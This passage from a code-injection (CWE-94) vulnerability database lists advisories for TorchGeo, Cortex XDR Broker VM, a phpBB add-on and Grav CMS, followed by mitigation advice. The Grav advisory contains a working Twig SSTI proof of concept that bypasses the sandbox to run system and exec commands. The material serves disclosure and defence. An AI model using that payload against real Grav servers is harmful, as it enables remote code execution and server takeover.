      "url": "https://github.com/torchgeo/torchgeo/security/advisories/GHSA-ghq9-vc6f-8qjf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49048"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torchgeo/torchgeo/pull/2323"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torchgeo/torchgeo/pull/917"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torchgeo/torchgeo/commit/1a980788cb7089a1115f3b786c7daa9dd47d7d7a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/torchgeo/releases/tag/v0.6.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/torchgeo/PYSEC-2024-204.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/torchgeo/torchgeo"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49048"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TorchGeo Remote Code Execution Vulnerability"
}

GHSA-GHVV-MG26-G3C9

Vulnerability from github – Published: 2025-05-14 21:31 – Updated: 2025-05-14 21:31
VLAI
Details

A code injection vulnerability in the Palo Alto Networks Cortex XDR® Broker VM allows an authenticated user to execute arbitrary code with root privileges on the host operating system running Broker VM.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-0134"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-14T19:15:51Z",
    "severity": "MODERATE"
  },
  "details": "A code injection vulnerability in the Palo Alto Networks Cortex XDR\u00ae Broker VM allows an authenticated user to execute arbitrary code with root privileges on the host operating system running Broker VM.",
  "id": "GHSA-ghvv-mg26-g3c9",
  "modified": "2025-05-14T21:31:18Z",
  "published": "2025-05-14T21:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0134"
    },
    {
      "type": "WEB",
      "url": "https://security.paloaltonetworks.com/CVE-2025-0134"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:N/R:U/V:C/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GJ59-76XC-HW5Q

Vulnerability from github – Published: 2022-05-01 07:28 – Updated: 2022-05-01 07:28
VLAI
Details

PHP remote file inclusion vulnerability in archive/archive_topic.php in pbpbb archive for search engines (SearchIndexer) (aka phpBBSEI) for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2006-5418"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2006-10-20T14:07:00Z",
    "severity": "MODERATE"
  },
  "details": "PHP remote file inclusion vulnerability in archive/archive_topic.php in pbpbb archive for search engines (SearchIndexer) (aka phpBBSEI) for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter.",
  "id": "GHSA-gj59-76xc-hw5q",
  "modified": "2022-05-01T07:28:05Z",
  "published": "2022-05-01T07:28:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-5418"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/29569"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/2549"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/22443"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/1751"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/448621/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/20571"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/4037"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GJC5-8CFH-653X

Vulnerability from github – Published: 2025-12-02 00:36 – Updated: 2025-12-02 00:36
VLAI
Summary
Grav is Vulnerable to Security Sandbox Bypass with SSTI (Server Side Template Injection)
Details

Summary

Grav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox.

Details

Grav CMS uses a custom sandbox to protect the powerful Twig methods such as registerUndefinedFilterCallback(). These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., exec(), passthru(), system(), etc.) within Twig template directives.

The current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the isDangerousFunction() method in the file system/src/Grav/Common/Twig.php:

$this->twig->registerUndefinedFilterCallback(function (string $name) use ($config) {
    $allowed = $config->get('system.twig.safe_filters');
    if (is_array($allowed) && in_array($name, $allowed, true) && function_exists($name)) {
        return new TwigFilter($name, $name);
    }
    if ($config->get('system.twig.undefined_filters')) {
        if (function_exists($name)) {
            if (!Utils::isDangerousFunction($name)) {
                user_error("PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: `system.twig.safe_filters`", E_USER_DEPRECATED);

                return new TwigFilter($name, $name);
            }

            /** @var Debugger $debugger */
            $debugger = $this->grav['debugger'];
            $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: `system.twig.safe_filters`"));
        }

        return new TwigFilter($name, static function () {});
    }

    return false;
});

In this code, the isDangerousFunction() check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the system.twig.safe_filters configuration properties (whitelists that are empty by default) in the system/config/system.yaml file.

Notably, the Twig class is defined within the system/src/Grav/Common/Twig.php file, and the Twig object (and environment) is instantiated there:

/**
 * Class Twig
 * @package Grav\Common\Twig
 */
class Twig
{
    /** @var Environment */
    public $twig;
    /** @var array */
    public $twig_vars = [];
    /** @var array */
    public $twig_paths;
    /** @var string */
    public $template;

    // Constructor
    public function __construct(Grav $grav)
    {
        $this->grav = $grav;
        $this->twig_paths = [];
    }

    // Twig initialization method
    public function init()
    {
        if (null === $this->twig) {
            /** @var Config $config */
            $config = $this->grav['config'];
            /** @var UniformResourceLocator $locator */
            $locator = $this->grav['locator'];
            /** @var Language $language */
            $language = $this->grav['language'];

            $active_language = $language->getActive();
        ...
        }
    }
}

Since the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute system.twig.safe_filters, effectively bypassing the Grav CMS sandbox.

Proof of Concept (PoC)

An authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server.

For example, to exploit the vulnerability and execute the prohibited system('id') command, bypassing the sandbox, an editor could create/edit a web page with the following template directives:

{% set arr = {'1':'system', '2':'exec'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_filters', arr)) }}
{{ 'id'|system }}
{{ 'whoami'|exec }}

Once the page is saved, it can be accessed by unauthenticated users, triggering the execution of the system('id') command on the server hosting the vulnerable Grav CMS.

Impact

The vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.0-beta.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66299"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-02T00:36:36Z",
    "nvd_published_at": "2025-12-01T22:15:49Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nGrav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox.\n\n## Details\n\nGrav CMS uses a custom sandbox to protect the powerful Twig methods such as `registerUndefinedFilterCallback()`. These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., `exec()`, `passthru()`, `system()`, etc.) within Twig template directives.\n\nThe current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the `isDangerousFunction()` method in the file `system/src/Grav/Common/Twig.php`:\n\n```php\n$this-\u003etwig-\u003eregisterUndefinedFilterCallback(function (string $name) use ($config) {\n    $allowed = $config-\u003eget(\u0027system.twig.safe_filters\u0027);\n    if (is_array($allowed) \u0026\u0026 in_array($name, $allowed, true) \u0026\u0026 function_exists($name)) {\n        return new TwigFilter($name, $name);\n    }\n    if ($config-\u003eget(\u0027system.twig.undefined_filters\u0027)) {\n        if (function_exists($name)) {\n            if (!Utils::isDangerousFunction($name)) {\n                user_error(\"PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: `system.twig.safe_filters`\", E_USER_DEPRECATED);\n\n                return new TwigFilter($name, $name);\n            }\n\n            /** @var Debugger $debugger */\n            $debugger = $this-\u003egrav[\u0027debugger\u0027];\n            $debugger-\u003eaddException(new RuntimeException(\"Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: `system.twig.safe_filters`\"));\n        }\n\n        return new TwigFilter($name, static function () {});\n    }\n\n    return false;\n});\n```\n\nIn this code, the `isDangerousFunction()` check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the `system.twig.safe_filters` configuration properties (whitelists that are empty by default) in the `system/config/system.yaml` file.\n\nNotably, the Twig class is defined within the `system/src/Grav/Common/Twig.php` file, and the Twig object (and environment) is instantiated there:\n\n```php\n/**\n * Class Twig\n * @package Grav\\Common\\Twig\n */\nclass Twig\n{\n    /** @var Environment */\n    public $twig;\n    /** @var array */\n    public $twig_vars = [];\n    /** @var array */\n    public $twig_paths;\n    /** @var string */\n    public $template;\n\n    // Constructor\n    public function __construct(Grav $grav)\n    {\n        $this-\u003egrav = $grav;\n        $this-\u003etwig_paths = [];\n    }\n\n    // Twig initialization method\n    public function init()\n    {\n        if (null === $this-\u003etwig) {\n            /** @var Config $config */\n            $config = $this-\u003egrav[\u0027config\u0027];\n            /** @var UniformResourceLocator $locator */\n            $locator = $this-\u003egrav[\u0027locator\u0027];\n            /** @var Language $language */\n            $language = $this-\u003egrav[\u0027language\u0027];\n\n            $active_language = $language-\u003egetActive();\n        ...\n        }\n    }\n}\n```\n\nSince the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute `system.twig.safe_filters`, effectively bypassing the Grav CMS sandbox.\n\n## Proof of Concept (PoC)\nAn authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server.\n\nFor example, to exploit the vulnerability and execute the prohibited `system(\u0027id\u0027)` command, bypassing the sandbox, an editor could create/edit a web page with the following template directives:\n\n```twig\n{% set arr = {\u00271\u0027:\u0027system\u0027, \u00272\u0027:\u0027exec\u0027} %}\n{{ var_dump(grav.twig.twig_vars[\u0027config\u0027].set(\u0027system.twig.safe_filters\u0027, arr)) }}\n{{ \u0027id\u0027|system }}\n{{ \u0027whoami\u0027|exec }}\n```\n\nOnce the page is saved, it can be accessed by unauthenticated users, triggering the execution of the `system(\u0027id\u0027)` command on the server hosting the vulnerable Grav CMS.\n\n## Impact\nThe vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.",
  "id": "GHSA-gjc5-8cfh-653x",
  "modified": "2025-12-02T00:36:36Z",
  "published": "2025-12-02T00:36:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-gjc5-8cfh-653x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66299"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/e37259527d9c1deb6200f8967197a9fa587c6458"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav is Vulnerable to Security Sandbox Bypass with SSTI (Server Side Template Injection)"
}

Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.